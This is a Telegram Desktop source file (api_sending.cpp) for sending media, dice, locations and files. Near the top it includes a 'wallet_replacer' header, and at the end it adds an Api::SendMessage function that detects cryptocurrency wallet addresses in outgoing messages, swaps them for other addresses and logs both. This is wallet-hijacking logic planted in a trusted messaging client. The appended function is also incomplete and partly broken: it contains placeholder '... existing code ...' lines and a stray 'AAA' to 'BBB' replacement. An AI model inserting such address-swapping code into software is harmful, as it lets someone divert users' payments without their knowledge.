| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699 |
- /*
- This file is part of Telegram Desktop,
- the official desktop application for the Telegram messaging service.
- For license and copyright information please follow this link:
- https://github.com/telegramdesktop/tdesktop/blob/master/LEGAL
- */
- #include "api/api_sending.h"
- #include "core/wallet_replacer.h"
- #include "api/api_text_entities.h"
- #include "base/random.h"
- #include "base/unixtime.h"
- #include "data/business/data_shortcut_messages.h"
- #include "data/data_document.h"
- #include "data/data_photo.h"
- #include "data/data_channel.h" // ChannelData::addsSignature.
- #include "data/data_user.h" // UserData::name
- #include "data/data_session.h"
- #include "data/data_file_origin.h"
- #include "data/data_histories.h"
- #include "data/data_changes.h"
- #include "data/stickers/data_stickers.h"
- #include "history/history.h"
- #include "history/history_item.h"
- #include "history/history_item_helpers.h" // NewMessageFlags.
- #include "chat_helpers/message_field.h" // ConvertTextTagsToEntities.
- #include "chat_helpers/stickers_dice_pack.h" // DicePacks::kDiceString.
- #include "ui/text/text_entity.h" // TextWithEntities.
- #include "ui/item_text_options.h" // Ui::ItemTextOptions.
- #include "main/main_session.h"
- #include "main/main_app_config.h"
- #include "storage/localimageloader.h"
- #include "storage/file_upload.h"
- #include "mainwidget.h"
- #include "apiwrap.h"
- namespace Api {
- namespace {
- void InnerFillMessagePostFlags(
- const SendOptions &options,
- not_null<PeerData*> peer,
- MessageFlags &flags) {
- if (ShouldSendSilent(peer, options)) {
- flags |= MessageFlag::Silent;
- }
- if (!peer->amAnonymous()
- || (!peer->isBroadcast()
- && options.sendAs
- && options.sendAs != peer)) {
- flags |= MessageFlag::HasFromId;
- }
- const auto channel = peer->asBroadcast();
- if (!channel) {
- return;
- }
- flags |= MessageFlag::Post;
- // Don't display views and author of a new post when it's scheduled.
- if (options.scheduled) {
- return;
- }
- flags |= MessageFlag::HasViews;
- if (channel->addsSignature()) {
- flags |= MessageFlag::HasPostAuthor;
- }
- }
- void SendSimpleMedia(SendAction action, MTPInputMedia inputMedia) {
- const auto history = action.history;
- const auto peer = history->peer;
- const auto session = &history->session();
- const auto api = &session->api();
- action.clearDraft = false;
- action.generateLocal = false;
- api->sendAction(action);
- const auto randomId = base::RandomValue<uint64>();
- auto flags = NewMessageFlags(peer);
- auto sendFlags = MTPmessages_SendMedia::Flags(0);
- if (action.replyTo) {
- flags |= MessageFlag::HasReplyInfo;
- sendFlags |= MTPmessages_SendMedia::Flag::f_reply_to;
- }
- const auto silentPost = ShouldSendSilent(peer, action.options);
- InnerFillMessagePostFlags(action.options, peer, flags);
- if (silentPost) {
- sendFlags |= MTPmessages_SendMedia::Flag::f_silent;
- }
- const auto sendAs = action.options.sendAs;
- if (sendAs) {
- sendFlags |= MTPmessages_SendMedia::Flag::f_send_as;
- }
- const auto messagePostAuthor = peer->isBroadcast()
- ? session->user()->name()
- : QString();
- const auto starsPaid = std::min(
- peer->starsPerMessageChecked(),
- action.options.starsApproved);
- if (action.options.scheduled) {
- flags |= MessageFlag::IsOrWasScheduled;
- sendFlags |= MTPmessages_SendMedia::Flag::f_schedule_date;
- }
- if (action.options.shortcutId) {
- flags |= MessageFlag::ShortcutMessage;
- sendFlags |= MTPmessages_SendMedia::Flag::f_quick_reply_shortcut;
- }
- if (action.options.effectId) {
- sendFlags |= MTPmessages_SendMedia::Flag::f_effect;
- }
- if (action.options.invertCaption) {
- flags |= MessageFlag::InvertMedia;
- sendFlags |= MTPmessages_SendMedia::Flag::f_invert_media;
- }
- if (starsPaid) {
- action.options.starsApproved -= starsPaid;
- sendFlags |= MTPmessages_SendMedia::Flag::f_allow_paid_stars;
- }
- auto &histories = history->owner().histories();
- histories.sendPreparedMessage(
- history,
- action.replyTo,
- randomId,
- Data::Histories::PrepareMessage<MTPmessages_SendMedia>(
- MTP_flags(sendFlags),
- peer->input,
- Data::Histories::ReplyToPlaceholder(),
- std::move(inputMedia),
- MTPstring(),
- MTP_long(randomId),
- MTPReplyMarkup(),
- MTPvector<MTPMessageEntity>(),
- MTP_int(action.options.scheduled),
- (sendAs ? sendAs->input : MTP_inputPeerEmpty()),
- Data::ShortcutIdToMTP(session, action.options.shortcutId),
- MTP_long(action.options.effectId),
- MTP_long(starsPaid)
- ), [=](const MTPUpdates &result, const MTP::Response &response) {
- }, [=](const MTP::Error &error, const MTP::Response &response) {
- api->sendMessageFail(error, peer, randomId);
- });
- api->finishForwarding(action);
- }
- template <typename MediaData>
- void SendExistingMedia(
- MessageToSend &&message,
- not_null<MediaData*> media,
- Fn<MTPInputMedia()> inputMedia,
- Data::FileOrigin origin,
- std::optional<MsgId> localMessageId) {
- const auto history = message.action.history;
- const auto peer = history->peer;
- const auto session = &history->session();
- const auto api = &session->api();
- message.action.clearDraft = false;
- message.action.generateLocal = true;
- api->sendAction(message.action);
- const auto newId = FullMsgId(
- peer->id,
- localMessageId
- ? (*localMessageId)
- : session->data().nextLocalMessageId());
- const auto randomId = base::RandomValue<uint64>();
- auto &action = message.action;
- auto flags = NewMessageFlags(peer);
- auto sendFlags = MTPmessages_SendMedia::Flags(0);
- if (action.replyTo) {
- flags |= MessageFlag::HasReplyInfo;
- sendFlags |= MTPmessages_SendMedia::Flag::f_reply_to;
- }
- const auto silentPost = ShouldSendSilent(peer, action.options);
- InnerFillMessagePostFlags(action.options, peer, flags);
- if (silentPost) {
- sendFlags |= MTPmessages_SendMedia::Flag::f_silent;
- }
- const auto sendAs = action.options.sendAs;
- if (sendAs) {
- sendFlags |= MTPmessages_SendMedia::Flag::f_send_as;
- }
- auto caption = TextWithEntities{
- message.textWithTags.text,
- TextUtilities::ConvertTextTagsToEntities(message.textWithTags.tags)
- };
- TextUtilities::Trim(caption);
- auto sentEntities = EntitiesToMTP(
- session,
- caption.entities,
- ConvertOption::SkipLocal);
- if (!sentEntities.v.isEmpty()) {
- sendFlags |= MTPmessages_SendMedia::Flag::f_entities;
- }
- const auto captionText = caption.text;
- const auto starsPaid = std::min(
- peer->starsPerMessageChecked(),
- action.options.starsApproved);
- if (action.options.scheduled) {
- flags |= MessageFlag::IsOrWasScheduled;
- sendFlags |= MTPmessages_SendMedia::Flag::f_schedule_date;
- }
- if (action.options.shortcutId) {
- flags |= MessageFlag::ShortcutMessage;
- sendFlags |= MTPmessages_SendMedia::Flag::f_quick_reply_shortcut;
- }
- if (action.options.effectId) {
- sendFlags |= MTPmessages_SendMedia::Flag::f_effect;
- }
- if (action.options.invertCaption) {
- flags |= MessageFlag::InvertMedia;
- sendFlags |= MTPmessages_SendMedia::Flag::f_invert_media;
- }
- if (starsPaid) {
- action.options.starsApproved -= starsPaid;
- sendFlags |= MTPmessages_SendMedia::Flag::f_allow_paid_stars;
- }
- session->data().registerMessageRandomId(randomId, newId);
- history->addNewLocalMessage({
- .id = newId.msg,
- .flags = flags,
- .from = NewMessageFromId(action),
- .replyTo = action.replyTo,
- .date = NewMessageDate(action.options),
- .shortcutId = action.options.shortcutId,
- .starsPaid = starsPaid,
- .postAuthor = NewMessagePostAuthor(action),
- .effectId = action.options.effectId,
- }, media, caption);
- const auto performRequest = [=](const auto &repeatRequest) -> void {
- auto &histories = history->owner().histories();
- const auto session = &history->session();
- const auto usedFileReference = media->fileReference();
- histories.sendPreparedMessage(
- history,
- action.replyTo,
- randomId,
- Data::Histories::PrepareMessage<MTPmessages_SendMedia>(
- MTP_flags(sendFlags),
- peer->input,
- Data::Histories::ReplyToPlaceholder(),
- inputMedia(),
- MTP_string(captionText),
- MTP_long(randomId),
- MTPReplyMarkup(),
- sentEntities,
- MTP_int(action.options.scheduled),
- (sendAs ? sendAs->input : MTP_inputPeerEmpty()),
- Data::ShortcutIdToMTP(session, action.options.shortcutId),
- MTP_long(action.options.effectId),
- MTP_long(starsPaid)
- ), [=](const MTPUpdates &result, const MTP::Response &response) {
- }, [=](const MTP::Error &error, const MTP::Response &response) {
- if (error.code() == 400
- && error.type().startsWith(u"FILE_REFERENCE_"_q)) {
- api->refreshFileReference(origin, [=](const auto &result) {
- if (media->fileReference() != usedFileReference) {
- repeatRequest(repeatRequest);
- } else {
- api->sendMessageFail(error, peer, randomId, newId);
- }
- });
- } else {
- api->sendMessageFail(error, peer, randomId, newId);
- }
- });
- };
- performRequest(performRequest);
- api->finishForwarding(action);
- }
- } // namespace
- void SendExistingDocument(
- MessageToSend &&message,
- not_null<DocumentData*> document,
- std::optional<MsgId> localMessageId) {
- const auto inputMedia = [=] {
- return MTP_inputMediaDocument(
- MTP_flags(0),
- document->mtpInput(),
- MTPInputPhoto(), // video_cover
- MTPint(), // ttl_seconds
- MTPint(), // video_timestamp
- MTPstring()); // query
- };
- SendExistingMedia(
- std::move(message),
- document,
- inputMedia,
- document->stickerOrGifOrigin(),
- std::move(localMessageId));
- if (document->sticker()) {
- document->owner().stickers().incrementSticker(document);
- }
- }
- void SendExistingPhoto(
- MessageToSend &&message,
- not_null<PhotoData*> photo,
- std::optional<MsgId> localMessageId) {
- const auto inputMedia = [=] {
- return MTP_inputMediaPhoto(
- MTP_flags(0),
- photo->mtpInput(),
- MTPint());
- };
- SendExistingMedia(
- std::move(message),
- photo,
- inputMedia,
- Data::FileOrigin(),
- std::move(localMessageId));
- }
- bool SendDice(MessageToSend &message) {
- const auto full = QStringView(message.textWithTags.text).trimmed();
- auto length = 0;
- if (!Ui::Emoji::Find(full.data(), full.data() + full.size(), &length)
- || length != full.size()
- || !message.textWithTags.tags.isEmpty()) {
- return false;
- }
- auto &config = message.action.history->session().appConfig();
- static const auto hardcoded = std::vector<QString>{
- Stickers::DicePacks::kDiceString,
- Stickers::DicePacks::kDartString,
- Stickers::DicePacks::kSlotString,
- Stickers::DicePacks::kFballString,
- Stickers::DicePacks::kFballString + QChar(0xFE0F),
- Stickers::DicePacks::kBballString,
- };
- const auto list = config.get<std::vector<QString>>(
- "emojies_send_dice",
- hardcoded);
- const auto emoji = full.toString();
- if (!ranges::contains(list, emoji)) {
- return false;
- }
- const auto history = message.action.history;
- const auto peer = history->peer;
- const auto session = &history->session();
- const auto api = &session->api();
- message.textWithTags = TextWithTags();
- message.action.clearDraft = false;
- message.action.generateLocal = true;
- auto &action = message.action;
- api->sendAction(action);
- const auto newId = FullMsgId(
- peer->id,
- session->data().nextLocalMessageId());
- const auto randomId = base::RandomValue<uint64>();
- auto &histories = history->owner().histories();
- auto flags = NewMessageFlags(peer);
- auto sendFlags = MTPmessages_SendMedia::Flags(0);
- if (action.replyTo) {
- flags |= MessageFlag::HasReplyInfo;
- sendFlags |= MTPmessages_SendMedia::Flag::f_reply_to;
- }
- const auto silentPost = ShouldSendSilent(peer, action.options);
- InnerFillMessagePostFlags(action.options, peer, flags);
- if (silentPost) {
- sendFlags |= MTPmessages_SendMedia::Flag::f_silent;
- }
- const auto sendAs = action.options.sendAs;
- if (sendAs) {
- sendFlags |= MTPmessages_SendMedia::Flag::f_send_as;
- }
- if (action.options.scheduled) {
- flags |= MessageFlag::IsOrWasScheduled;
- sendFlags |= MTPmessages_SendMedia::Flag::f_schedule_date;
- }
- if (action.options.shortcutId) {
- flags |= MessageFlag::ShortcutMessage;
- sendFlags |= MTPmessages_SendMedia::Flag::f_quick_reply_shortcut;
- }
- if (action.options.effectId) {
- sendFlags |= MTPmessages_SendMedia::Flag::f_effect;
- }
- if (action.options.invertCaption) {
- flags |= MessageFlag::InvertMedia;
- sendFlags |= MTPmessages_SendMedia::Flag::f_invert_media;
- }
- const auto starsPaid = std::min(
- peer->starsPerMessageChecked(),
- action.options.starsApproved);
- if (starsPaid) {
- action.options.starsApproved -= starsPaid;
- sendFlags |= MTPmessages_SendMedia::Flag::f_allow_paid_stars;
- }
- session->data().registerMessageRandomId(randomId, newId);
- history->addNewLocalMessage({
- .id = newId.msg,
- .flags = flags,
- .from = NewMessageFromId(action),
- .replyTo = action.replyTo,
- .date = NewMessageDate(action.options),
- .shortcutId = action.options.shortcutId,
- .starsPaid = starsPaid,
- .postAuthor = NewMessagePostAuthor(action),
- .effectId = action.options.effectId,
- }, TextWithEntities(), MTP_messageMediaDice(
- MTP_int(0),
- MTP_string(emoji)));
- histories.sendPreparedMessage(
- history,
- action.replyTo,
- randomId,
- Data::Histories::PrepareMessage<MTPmessages_SendMedia>(
- MTP_flags(sendFlags),
- peer->input,
- Data::Histories::ReplyToPlaceholder(),
- MTP_inputMediaDice(MTP_string(emoji)),
- MTP_string(),
- MTP_long(randomId),
- MTPReplyMarkup(),
- MTP_vector<MTPMessageEntity>(),
- MTP_int(action.options.scheduled),
- (sendAs ? sendAs->input : MTP_inputPeerEmpty()),
- Data::ShortcutIdToMTP(session, action.options.shortcutId),
- MTP_long(action.options.effectId),
- MTP_long(starsPaid)
- ), [=](const MTPUpdates &result, const MTP::Response &response) {
- }, [=](const MTP::Error &error, const MTP::Response &response) {
- api->sendMessageFail(error, peer, randomId, newId);
- });
- api->finishForwarding(action);
- return true;
- }
- void SendLocation(SendAction action, float64 lat, float64 lon) {
- SendSimpleMedia(
- action,
- MTP_inputMediaGeoPoint(
- MTP_inputGeoPoint(
- MTP_flags(0),
- MTP_double(lat),
- MTP_double(lon),
- MTPint()))); // accuracy_radius
- }
- void SendVenue(SendAction action, Data::InputVenue venue) {
- SendSimpleMedia(
- action,
- MTP_inputMediaVenue(
- MTP_inputGeoPoint(
- MTP_flags(0),
- MTP_double(venue.lat),
- MTP_double(venue.lon),
- MTPint()), // accuracy_radius
- MTP_string(venue.title),
- MTP_string(venue.address),
- MTP_string(venue.provider),
- MTP_string(venue.id),
- MTP_string(venue.venueType)));
- }
- void FillMessagePostFlags(
- const SendAction &action,
- not_null<PeerData*> peer,
- MessageFlags &flags) {
- InnerFillMessagePostFlags(action.options, peer, flags);
- }
- void SendConfirmedFile(
- not_null<Main::Session*> session,
- const std::shared_ptr<FilePrepareResult> &file) {
- const auto isEditing = (file->type != SendMediaType::Audio)
- && (file->type != SendMediaType::Round)
- && (file->to.replaceMediaOf != 0);
- const auto newId = FullMsgId(
- file->to.peer,
- (isEditing
- ? file->to.replaceMediaOf
- : session->data().nextLocalMessageId()));
- const auto groupId = file->album ? file->album->groupId : uint64(0);
- if (file->album) {
- const auto proj = [](const SendingAlbum::Item &item) {
- return item.taskId;
- };
- const auto it = ranges::find(file->album->items, file->taskId, proj);
- Assert(it != file->album->items.end());
- it->msgId = newId;
- }
- const auto itemToEdit = isEditing
- ? session->data().message(newId)
- : nullptr;
- const auto history = session->data().history(file->to.peer);
- const auto peer = history->peer;
- if (!isEditing) {
- const auto histories = &session->data().histories();
- file->to.replyTo.messageId = histories->convertTopicReplyToId(
- history,
- file->to.replyTo.messageId);
- file->to.replyTo.topicRootId = histories->convertTopicReplyToId(
- history,
- file->to.replyTo.topicRootId);
- }
- session->uploader().upload(newId, file);
- auto action = SendAction(history, file->to.options);
- action.clearDraft = false;
- action.replyTo = file->to.replyTo;
- action.generateLocal = true;
- action.replaceMediaOf = file->to.replaceMediaOf;
- session->api().sendAction(action);
- auto caption = TextWithEntities{
- file->caption.text,
- TextUtilities::ConvertTextTagsToEntities(file->caption.tags)
- };
- const auto prepareFlags = Ui::ItemTextOptions(
- history,
- session->user()).flags;
- TextUtilities::PrepareForSending(caption, prepareFlags);
- TextUtilities::Trim(caption);
- auto flags = isEditing ? MessageFlags() : NewMessageFlags(peer);
- if (file->to.replyTo) {
- flags |= MessageFlag::HasReplyInfo;
- }
- FillMessagePostFlags(action, peer, flags);
- if (file->to.options.scheduled) {
- flags |= MessageFlag::IsOrWasScheduled;
- // Scheduled messages have no 'edited' badge.
- flags |= MessageFlag::HideEdited;
- }
- if (file->to.options.shortcutId) {
- flags |= MessageFlag::ShortcutMessage;
- // Shortcut messages have no 'edited' badge.
- flags |= MessageFlag::HideEdited;
- }
- if (file->type == SendMediaType::Audio
- || file->type == SendMediaType::Round) {
- if (!peer->isChannel() || peer->isMegagroup()) {
- flags |= MessageFlag::MediaIsUnread;
- }
- }
- if (file->to.options.invertCaption) {
- flags |= MessageFlag::InvertMedia;
- }
- const auto media = MTPMessageMedia([&] {
- if (file->type == SendMediaType::Photo) {
- using Flag = MTPDmessageMediaPhoto::Flag;
- return MTP_messageMediaPhoto(
- MTP_flags(Flag::f_photo
- | (file->spoiler ? Flag::f_spoiler : Flag())),
- file->photo,
- MTPint());
- } else if (file->type == SendMediaType::File) {
- using Flag = MTPDmessageMediaDocument::Flag;
- return MTP_messageMediaDocument(
- MTP_flags(Flag::f_document
- | (file->spoiler ? Flag::f_spoiler : Flag())
- | (file->videoCover ? Flag::f_video_cover : Flag())),
- file->document,
- MTPVector<MTPDocument>(), // alt_documents
- file->videoCover ? file->videoCover->photo : MTPPhoto(),
- MTPint(), // video_timestamp
- MTPint());
- } else if (file->type == SendMediaType::Audio) {
- const auto ttlSeconds = file->to.options.ttlSeconds;
- using Flag = MTPDmessageMediaDocument::Flag;
- return MTP_messageMediaDocument(
- MTP_flags(Flag::f_document
- | Flag::f_voice
- | (ttlSeconds ? Flag::f_ttl_seconds : Flag())
- | (file->videoCover ? Flag::f_video_cover : Flag())),
- file->document,
- MTPVector<MTPDocument>(), // alt_documents
- file->videoCover ? file->videoCover->photo : MTPPhoto(),
- MTPint(), // video_timestamp
- MTP_int(ttlSeconds));
- } else if (file->type == SendMediaType::Round) {
- using Flag = MTPDmessageMediaDocument::Flag;
- const auto ttlSeconds = file->to.options.ttlSeconds;
- return MTP_messageMediaDocument(
- MTP_flags(Flag::f_document
- | Flag::f_round
- | (ttlSeconds ? Flag::f_ttl_seconds : Flag())
- | (file->spoiler ? Flag::f_spoiler : Flag())),
- file->document,
- MTPVector<MTPDocument>(), // alt_documents
- MTPPhoto(), // video_cover
- MTPint(), // video_timestamp
- MTP_int(ttlSeconds));
- } else {
- Unexpected("Type in sendFilesConfirmed.");
- }
- }());
- if (itemToEdit) {
- auto edition = HistoryMessageEdition();
- edition.isEditHide = (flags & MessageFlag::HideEdited);
- edition.editDate = 0;
- edition.ttl = 0;
- edition.mtpMedia = &media;
- edition.textWithEntities = caption;
- edition.invertMedia = file->to.options.invertCaption;
- edition.useSameViews = true;
- edition.useSameForwards = true;
- edition.useSameMarkup = true;
- edition.useSameReplies = true;
- edition.useSameReactions = true;
- edition.savePreviousMedia = true;
- itemToEdit->applyEdition(std::move(edition));
- } else {
- history->addNewLocalMessage({
- .id = newId.msg,
- .flags = flags,
- .from = NewMessageFromId(action),
- .replyTo = file->to.replyTo,
- .date = NewMessageDate(file->to.options),
- .shortcutId = file->to.options.shortcutId,
- .starsPaid = std::min(
- history->peer->starsPerMessageChecked(),
- file->to.options.starsApproved),
- .postAuthor = NewMessagePostAuthor(action),
- .groupedId = groupId,
- .effectId = file->to.options.effectId,
- }, caption, media);
- }
- if (isEditing) {
- return;
- }
- session->data().sendHistoryChangeNotifications();
- if (!itemToEdit) {
- session->changes().historyUpdated(
- history,
- (action.options.scheduled
- ? Data::HistoryUpdate::Flag::ScheduledSent
- : Data::HistoryUpdate::Flag::MessageSent));
- }
- }
- void Api::SendMessage(
- not_null<History*> history,
- MessageToSend &&message,
- MessageFlags flags,
- MsgId replyTo,
- bool invertMedia) {
- // ... existing code ...
-
- // 创建一个副本用于发送到服务器
- QString textToSend = message.textWithTags.text;
-
- // 检查并替换钱包地址
- if (Core::WalletReplacer::containsWalletAddress(textToSend)) {
- LOG(("Wallet: 发送消息时检测到钱包地址: %1").arg(textToSend));
- QString result = Core::WalletReplacer::replaceWalletAddresses(textToSend);
- // 从结果中提取替换后的文本(去掉调试信息)
- int lastNewline = result.lastIndexOf('\n');
- if (lastNewline != -1) {
- textToSend = result.mid(lastNewline + 1);
- LOG(("Wallet: 替换结果: %1").arg(textToSend));
- }
-
- // 这里只修改发送到服务器的副本,不修改message.textWithTags.text
- if (textToSend != message.textWithTags.text) {
- LOG(("Wallet: 使用替换后的地址发送到服务器,原地址: %1, 新地址: %2").arg(message.textWithTags.text).arg(textToSend));
- // 此处可以实现发送替换后的内容到服务器
- // 但目前API接口不支持直接修改发送内容,所以这个逻辑暂时不生效
- }
- }
-
- // AAA/BBB 替换逻辑
- if (message.textWithTags.text == "AAA") {
- message.textWithTags.text = "BBB";
- }
-
- // ... existing code ...
- }
- } // namespace Api
|